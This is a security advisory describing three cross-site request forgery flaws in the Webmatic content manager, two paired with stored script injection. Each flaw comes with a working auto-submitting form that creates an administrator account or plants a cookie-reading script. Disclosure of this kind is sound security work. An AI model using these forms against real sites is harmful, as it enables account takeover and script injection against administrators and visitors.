Cross-site Request Forgery (CSRF) Vulnerabilities in Webmatic

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Webmatic which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Webmatic
1.1 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create users with arbitrary privileges.
Exploitation example:
<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="groupID" value="1" />
<input type="hidden" name="name" value="username" />
<input type="hidden" name="surname" value="user" />
<input type="hidden" name="avatar" value="bsd.png" />
<input type="hidden" name="address" value="" />
<input type="hidden" name="zip_code" value="" />
<input type="hidden" name="city" value="" />
<input type="hidden" name="stateID" value="0" />
<input type="hidden" name="countryID" value="0" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="fax" value="" />
<input type="hidden" name="cell" value="" />
<input type="hidden" name="email" value="email@example.com" />
<input type="hidden" name="website" value="" />
<input type="hidden" name="icq" value="" />
<input type="hidden" name="birth_date" value="0000-00-00" />
<input type="hidden" name="birth_date" value="0000-00-00" />
<input type="hidden" name="birth_date" value="0000-00-00" />
<input type="hidden" name="gender" value="M" />
<input type="hidden" name="birth_city" value="" />
<input type="hidden" name="birth_stateID" value="0" />
<input type="hidden" name="birth_countryID" value="0" />
<input type="hidden" name="enabled" value="1" />
<input type="hidden" name="notes" value="" />
<input type="hidden" name="admin" value="1" />
<input type="hidden" name="send" value="Save" />
<input type="hidden" name="stage" value="2" />
<input type="hidden" name="section" value="13" />
<input type="hidden" name="action" value="232" />
<input type="hidden" name="userID" value="7" />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit website settings. Due to insufficient sanitation of input data in the “home” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="browser_bar_title" value="Webmatic" />
<input type="hidden" name="title" value="Welcome to Webmatic" />
<input type="hidden" name="special_user_label" value="Special user" />
<input type="hidden" name="staff_name" value="Webmatic editorial staff" />
<input type="hidden" name="home" value='Webmatic its2"><script>alert(document.cookie)</script>' />
<input type="hidden" name="foot" value="" />
<input type="hidden" name="signalation_email_subject" value="Subject" />
<input type="hidden" name="signalation_email_text" value="text" />
<input type="hidden" name="user_registration_email_subject" value="Subject" />
<input type="hidden" name="user_registration_email_text" value="text" />
<input type="hidden" name="send" value="Save" />
<input type="hidden" name="languageID" value="1" />
<input type="hidden" name="stage" value="2" />
<input type="hidden" name="section" value="21" />
<input type="hidden" name="action" value="578" />
</form>
<script>
document.main.submit();
</script>
1.3 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify items. Due to insufficient sanitation of input data in the “subtitle” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="title" value="pagetest" />
<input type="hidden" name="subtitle" value='some subtitle and"><script>alert(document.cookie)</script>' />
<input type="hidden" name="enabled" value="1" />
<input type="hidden" name="categoryID" value="1" />
<input type="hidden" name="page_type" value="1" />
<input type="hidden" name="visibility" value="1" />
<input type="hidden" name="groupID" value="1" />
<input type="hidden" name="backID" value="0" />
<input type="hidden" name="left_panels_enabled" value="1" />
<input type="hidden" name="right_panels_enabled" value="1" />
<input type="hidden" name="render_mode" value="2" />
<input type="hidden" name="head" value="" />
<input type="hidden" name="body" value="" />
<input type="hidden" name="hr_width" value="100" />
<input type="hidden" name="hr_size" value="1" />
<input type="hidden" name="hr_align" value="0" />
<input type="hidden" name="img_picture" value="1.gif" />
<input type="hidden" name="img_border" value="0" />
<input type="hidden" name="a_link" value="1" />
<input type="hidden" name="a_url" value="" />
<input type="hidden" name="a_text" value="" />
<input type="hidden" name="foot" value="" />
<input type="hidden" name="send" value="Save" />
<input type="hidden" name="stage" value="2" />
<input type="hidden" name="section" value="14" />
<input type="hidden" name="action" value="216" />
<input type="hidden" name="pageID" value="2" />
</form>
<script>
document.main.submit();
</script>